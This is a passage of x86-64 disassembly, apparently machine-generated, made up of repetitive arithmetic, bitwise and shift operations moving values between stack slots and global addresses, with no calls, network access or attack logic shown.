mov rcx, qword [rsp + 0x7cd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f7c], ax
lea rax, [rsp + 0x9e4]
mov qword [rsp + 0x8b70], rax
mov rax, qword [rsp + 0x8250]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
or eax, ecx
mov byte [rsp + 0x145], al
lea rax, [rsp + 0xe3c]
mov qword [rsp + 0x8b78], rax
mov rax, qword [rsp + 0x82b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
sar eax, cl
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0x7ab8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7be0]
shl rax, cl
mov qword [rsp + 0x8550], rax
lea rax, [0x140178e60]
mov qword [rsp + 0x8b80], rax
mov eax, dword [rsp + 0x2f98]
mov ecx, dword [rsp + 0x2d30]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d90]
mov dword [rcx], eax
lea rax, [rsp + 0x2db8]
mov qword [rsp + 0x8b88], rax
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x6d38]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178f26], al
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x6668]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1c9], al
lea rax, [rsp + 0xef4]
mov qword [rsp + 0x8b90], rax
movsx eax, byte [rsp + 0x1c6]
movsx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov byte [rcx], al
movsx eax, word [rsp + 0xa10]
movsx ecx, word [rsp + 0x960]
add eax, ecx
mov word [rsp + 0x9e4], ax
mov rax, qword [rsp + 0x7040]
mov qword [rsp + 0x8b98], rax
mov rax, qword [rsp + 0x5b60]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e68]
mov qword [rcx], rax
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x8ba0], rax
mov rax, qword [rsp + 0x7c00]
mov rcx, qword [rsp + 0x68d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5c10]
mov dword [rcx], eax
movsx eax, byte [0x14017a0e3]
movsx ecx, byte [rsp + 0x93]
add eax, ecx
mov byte [0x14017a0e5], al
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x16510]
add rcx, rax
mov rax, rcx
add rax, 0x31
mov byte [rax], 0
mov rax, qword [rsp + 0x8618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf38]
sub eax, ecx
mov word [rsp + 0xb7c], ax
lea rax, [rsp + 0x204]
mov qword [rsp + 0x8ba8], rax
mov rax, qword [rsp + 0x7f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xae]
add eax, ecx
mov byte [rsp + 0x216], al
movzx eax, word [rsp + 0x9e0]
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x86e0]
mov rcx, qword [rsp + 0x5aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6cc0], rax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x3140]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c90]
mov dword [rsp + 0x3144], eax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x5d48]
mov qword [rsp + 0x8bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8bb0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8a70], rax
movzx eax, byte [rsp + 0x1e3]
movzx ecx, byte [rsp + 0x22b]
shl eax, cl
mov byte [0x140178f27], al
lea rax, [rsp + 0x23b]
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x6778]
movsx eax, word [rax]
mov rcx, qword [0x14017a2b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb48], ax
movzx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x5880]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e0], ax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0x8bc0], rax
mov rax, qword [rsp + 0x7ef8]
mov rcx, qword [rsp + 0x7560]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f7c], eax
lea rax, [rsp + 0x58d8]
mov qword [rsp + 0x8bc8], rax
mov rax, qword [rsp + 0x7738]
mov rcx, qword [rsp + 0x5170]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8168]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f98]
mov qword [rsp + 0x8bd0], rax
lea rax, [rsp + 0xd20]
mov qword [0x14017a890], rax
movsx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0x5760]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe64], ax
mov rax, qword [rsp + 0x67c8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a4b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x78c8]
movzx eax, word [rax]
mov word [rsp + 0xf7c], ax
movsx eax, byte [rsp + 0x1d8]
mov rcx, qword [rsp + 0x6400]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x8228]
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0x7920]
mov ecx, dword [rsp + 0x2e44]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3070], eax
mov eax, dword [rsp + 0x3100]
mov ecx, dword [rsp + 0x3138]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
lea rax, [rsp + 0x5940]
mov qword [rsp + 0x8be0], rax
movsx eax, word [0x140178eb0]
mov rcx, qword [rsp + 0x77c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a840]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9c]
mov rcx, qword [rsp + 0x60a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d3], al
lea rax, [rsp + 0xb50]
mov qword [rsp + 0x8be8], rax
movsx eax, word [rsp + 0xf2c]
movsx ecx, word [rsp + 0xc00]
sub eax, ecx
mov word [rsp + 0xe8c], ax
mov rax, qword [rsp + 0x5ea0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6af8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
lea rax, [0x140178e78]
mov qword [rsp + 0x8bf0], rax
mov rax, qword [rsp + 0x5740]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x81b0]
shl rax, cl
mov qword [rsp + 0x6910], rax
mov eax, dword [rsp + 0x2b64]
mov dword [rsp + 0x3148], eax
mov rax, qword [rsp + 0x85f0]
mov rcx, qword [rsp + 0x4dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x30cc], eax
movsx eax, word [rsp + 0xe98]
movsx ecx, word [rsp + 0xbbc]
sar eax, cl
mov rcx, qword [0x14017a318]
mov word [rcx], ax
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0x8bf8], rax
movsx eax, byte [rsp + 0x1b8]
movsx ecx, byte [0x140178ed6]
and eax, ecx
mov byte [rsp + 0xc5], al
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0x8a80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x5440]
movzx eax, byte [rax]
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0x87b8]
mov rcx, qword [rsp + 0x7910]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7490]
mov rax, qword [rax]
mov qword [rsp + 0x8c00], rax
mov rax, qword [rsp + 0x6880]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ed0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ed8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6380]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x241], al
lea rax, [rsp + 0x1c9]
mov qword [0x14017a898], rax
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7370]
mov word [rcx], ax
mov rax, qword [rsp + 0x8510]
movzx eax, word [rax]
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x5e38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa5]
add eax, ecx
mov byte [rsp + 0x51], al
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x29c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8010]
mov dword [rcx], eax
lea rax, [rsp + 0x2b54]
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x7bd0]
mov rcx, qword [rsp + 0x6438]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6468]
mov qword [rcx], rax
lea rax, [rsp + 0x7be0]
mov qword [rsp + 0x8c10], rax
movzx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0x7b60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x120], al
movzx eax, word [rsp + 0x95c]
movzx ecx, word [rsp + 0xa04]
xor eax, ecx
mov word [0x140178ffc], ax
movsx eax, byte [0x14017a0fa]
movsx ecx, byte [rsp + 0xe5]
or eax, ecx
mov byte [rsp + 0xbd], al
lea rax, [rsp + 0x77]
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x5538]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6830]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0x7208]
mov eax, dword [rax]
mov dword [rsp + 0x314c], eax
mov rax, qword [rsp + 0x8968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e8c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x89c0]
mov qword [rsp + 0x8c20], rax
mov rax, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x4ea8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b00], rax
mov rax, qword [rsp + 0x6da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ad0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x72d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f9]
sub eax, ecx
mov byte [0x140178f16], al
lea rax, [rsp + 0xb8c]
mov qword [rsp + 0x8c28], rax
mov rax, qword [rsp + 0x6a20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7d40]
mov word [rcx], ax
lea rax, [rsp + 0xed8]
mov qword [rsp + 0x8c30], rax
mov rax, qword [rsp + 0x5498]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7d88]
mov rcx, qword [rsp + 0x5ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7570]
mov dword [rcx], eax
lea rax, [rsp + 0x6a10]
mov qword [rsp + 0x8c38], rax
mov eax, dword [rsp + 0x2af0]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f98], eax
mov rax, qword [rsp + 0x82c8]
movzx eax, word [rax]
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0x80f8]
movzx eax, byte [rax]
mov byte [0x14017a205], al
movsx eax, word [rsp + 0xaf0]
mov rcx, qword [rsp + 0x82c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18e]
sub eax, ecx
mov rcx, qword [rsp + 0x6208]
mov byte [rcx], al
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
mov word [rsp + 0xf88], ax
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xdac]
shl eax, cl
mov rcx, qword [rsp + 0x5300]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e20]
mov qword [rsp + 0x8c40], rax
mov rax, qword [rsp + 0x59a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2da8]
sar eax, cl
mov dword [rsp + 0x2ca8], eax
mov eax, dword [rsp + 0x2b00]
mov ecx, dword [rsp + 0x2a40]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8968]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6418]
mov rax, qword [rax]
mov qword [rsp + 0x8c48], rax
mov rax, qword [rsp + 0x8978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed4]
xor eax, ecx
mov rcx, qword [0x14017a720]
mov word [rcx], ax
mov rax, qword [0x14017a338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a2]
and eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x65b0]
movzx eax, byte [rax]
mov byte [rsp + 0x242], al
movsx eax, word [rsp + 0xbd4]
mov rcx, qword [rsp + 0x6c68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf60], ax
movzx eax, word [0x140178f28]
mov word [rsp + 0xf8c], ax
mov rax, qword [rsp + 0x5650]
mov rcx, qword [rsp + 0x8248]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cbc], eax
mov rax, qword [rsp + 0x7068]
mov eax, dword [rax]
mov dword [rsp + 0x3150], eax
mov rax, qword [rsp + 0x7c78]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8298]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x7668]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a290]
mov byte [rcx], al
mov rax, qword [0x14017a748]
movzx eax, byte [rax]
mov byte [rsp + 0x243], al
mov rax, qword [rsp + 0x7dd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x64d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
movsx eax, byte [rsp + 0x136]
movsx ecx, byte [rsp + 0x12e]
add eax, ecx
mov byte [rsp + 0x223], al
movzx eax, byte [rsp + 0x114]
mov byte [rsp + 0x244], al
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x7238]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5f40], rax
mov rax, qword [rsp + 0x8b30]
mov rax, qword [rax]
mov qword [rsp + 0x8c50], rax
mov rax, qword [rsp + 0x4e98]
mov ecx, dword [rsp + 0x2e08]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7408]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b34]
mov ecx, dword [rsp + 0x2d44]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8898]
mov dword [rcx], eax
lea rax, [rsp + 0x200]
mov qword [0x14017a8a0], rax
lea rax, [rsp + 0x149]
mov qword [rsp + 0x8c58], rax
movzx eax, word [rsp + 0xa80]
mov rcx, qword [rsp + 0x7338]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0x8868]
movzx eax, word [rax]
mov word [rsp + 0xf90], ax
mov rax, qword [rsp + 0x66b0]
movsx eax, word [rax]
mov rcx, qword [0x14017a750]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe5c], ax
lea rax, [rsp + 0x2d84]
mov qword [rsp + 0x8c60], rax
mov rax, qword [rsp + 0x7c08]
mov ecx, dword [rsp + 0x2e38]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2e20], eax
mov rax, qword [rsp + 0x7f30]
mov rcx, qword [rsp + 0x8518]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6338], rax
lea rax, [rsp + 0x5ea8]
mov qword [rsp + 0x8c68], rax
movsx eax, word [rsp + 0xd9c]
mov rcx, qword [rsp + 0x5c68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179000], ax
mov rax, qword [0x14017a348]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x76a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7230]
mov byte [rcx], al
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x88f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x126]
sub eax, ecx
mov byte [rsp + 0x20a], al
movsx eax, byte [0x140178eb6]
movsx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov rcx, qword [rsp + 0x57c0]
mov byte [rcx], al
lea rax, [rsp + 0x3150]
mov qword [rsp + 0x8c78], rax
mov rax, qword [rsp + 0x74e0]
mov rcx, qword [rsp + 0x87c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7720]
mov qword [rcx], rax
lea rax, [0x140178e60]
mov qword [rsp + 0x8c80], rax
mov rax, qword [rsp + 0x6e60]
mov rcx, qword [rsp + 0x6f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a54], eax
movzx eax, byte [rsp + 0x239]
movzx ecx, byte [0x140178ede]
and eax, ecx
mov byte [0x140178ec7], al
movzx eax, word [rsp + 0x95c]
movzx ecx, word [rsp + 0xdb8]
sub eax, ecx
mov rcx, qword [rsp + 0x5980]
mov word [rcx], ax
mov rax, qword [rsp + 0x7098]
movzx eax, byte [rax]
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0x7130]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8380]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xf5], al
mov rax, qword [rsp + 0x7660]
movzx eax, word [rax]
mov word [rsp + 0xf94], ax
mov rax, qword [rsp + 0x5fe0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2e40]
sar eax, cl
mov rcx, qword [rsp + 0x75b0]
mov dword [rcx], eax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2bd0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5628]
mov qword [rsp + 0x8c88], rax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x64d8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8238]
mov qword [rcx], rax
movsx eax, word [rsp + 0xebc]
movsx ecx, word [0x140178fbc]
add eax, ecx
mov word [0x14017a858], ax
movzx eax, byte [rsp + 0xeb]
mov byte [rsp + 0x246], al
mov rax, qword [rsp + 0x7930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd8]
and eax, ecx
mov word [rsp + 0xd74], ax
lea rax, [0x140178eb6]
mov qword [rsp + 0x8c90], rax
mov rax, qword [rsp + 0x5958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0x6a90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8630]
mov rcx, qword [rsp + 0x7c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6040]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5348]
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x7010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fa8], rax
mov eax, dword [rsp + 0x2c0c]
mov dword [rsp + 0x3154], eax
lea rax, [rsp + 0x159]
mov qword [0x14017a8a8], rax
movsx eax, word [0x14017a228]
mov rcx, qword [rsp + 0x6a90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x59e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7300]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x101]
sub eax, ecx
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0x81c0]
movzx eax, word [rax]
mov word [rsp + 0xf98], ax
movzx eax, word [0x14017a808]
mov rcx, qword [rsp + 0x7058]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0x6390]
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x82d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3038], eax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x5828]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ca0], eax
mov rax, qword [rsp + 0x59d0]
mov qword [rsp + 0x8ca8], rax
movzx eax, byte [rsp + 0x1fc]
mov rcx, qword [rsp + 0x66d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7fa0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x10a]
mov rcx, qword [rsp + 0x66f8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a240]
mov byte [rcx], al
lea rax, [rsp + 0x864]
mov qword [rsp + 0x8cb0], rax
mov rax, qword [rsp + 0x6e70]
movsx eax, word [rax]
mov rcx, qword [0x14017a3f0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xbc8], ax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x8cb8], rax
mov rax, qword [rsp + 0x6300]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3034]
shl eax, cl
mov dword [rsp + 0x2b64], eax
mov eax, dword [rsp + 0x2c08]
mov ecx, dword [rsp + 0x2b88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5228]
mov qword [rsp + 0x8cc0], rax
mov rax, qword [rsp + 0x6df8]
mov rcx, qword [rsp + 0x68e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5858], rax
movzx eax, word [rsp + 0x8d8]
mov word [rsp + 0xf9c], ax
mov rax, qword [0x14017a4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x84f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178f2a], al
movsx eax, byte [rsp + 0x219]
movsx ecx, byte [rsp + 0xa0]
sub eax, ecx
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x1b7]
sub eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x81d0]
movzx eax, word [rax]
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0x7d48]
mov ecx, dword [rsp + 0x2df4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7f40]
mov dword [rcx], eax
lea rax, [rsp + 0x2eec]
mov qword [rsp + 0x8cc8], rax
mov rax, qword [rsp + 0x63e0]
mov rcx, qword [rsp + 0x70e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8150]
mov rcx, qword [rsp + 0x56b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7118], rax
movzx eax, byte [0x140178eca]
mov byte [rsp + 0x247], al
mov rax, qword [rsp + 0x85a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6eb8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e92], al
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde8]
add eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
mov rax, qword [0x14017a670]
movzx eax, word [rax]
mov word [rsp + 0xfa4], ax
movsx eax, word [rsp + 0xae8]
movsx ecx, word [rsp + 0xda0]
add eax, ecx
mov rcx, qword [rsp + 0x5300]
mov word [rcx], ax
mov rax, qword [rsp + 0x54d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d0c], eax
lea rax, [rsp + 0x2b50]
mov qword [rsp + 0x8cd0], rax
mov rax, qword [rsp + 0x5410]
mov rcx, qword [rsp + 0x8038]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7700]
mov qword [rcx], rax
lea rax, [rsp + 0x7be0]
mov qword [rsp + 0x8cd8], rax
mov rax, qword [0x14017a110]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8990]
mov byte [rcx], al
lea rax, [rsp + 0x212]
mov qword [0x14017a8b0], rax
mov rax, qword [rsp + 0x59e8]
movzx eax, word [rax]
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
movsx ecx, word [0x14017a7e0]
shl eax, cl
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x5ec0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef8]
and eax, ecx
mov word [rsp + 0xb18], ax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x72e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x58a0], rax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x8ce8], rax
mov rax, qword [rsp + 0x8488]
mov rcx, qword [rsp + 0x6760]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8470], rax
mov rax, qword [rsp + 0x8900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x310c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c00]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb14]
movzx ecx, word [rsp + 0x9a4]
sub eax, ecx
mov word [0x140178f64], ax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [0x14017a1d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x980]
add eax, ecx
mov rcx, qword [rsp + 0x84a0]
mov word [rcx], ax
lea rax, [rsp + 0x117]
mov qword [rsp + 0x8cf8], rax
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0x60b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x95c], ax
mov rax, qword [rsp + 0x6e08]
mov ecx, dword [rsp + 0x2f88]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b80]
mov eax, dword [rax]
mov dword [rsp + 0x3158], eax
mov rax, qword [rsp + 0x7190]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x8d00], rax
mov rax, qword [rsp + 0x8a40]
movzx eax, byte [rax]
mov byte [0x14017a206], al
movsx eax, byte [rsp + 0x21b]
mov rcx, qword [rsp + 0x7cb0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0x8be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab4]
or eax, ecx
mov word [rsp + 0xe38], ax
movzx eax, byte [rsp + 0x17c]
mov byte [rsp + 0x248], al
movsx eax, word [rsp + 0x900]
mov rcx, qword [rsp + 0x6188]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xafc], ax
lea rax, [rsp + 0x2dcc]
mov qword [rsp + 0x8d08], rax
mov rax, qword [rsp + 0x8b48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5650], rax
lea rax, [rsp + 0x5140]
mov qword [rsp + 0x8d10], rax
mov rax, qword [rsp + 0x6640]
mov rcx, qword [rsp + 0x68f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c94], eax
movzx eax, byte [rsp + 0x209]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [0x140178ee7], al
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56e0]
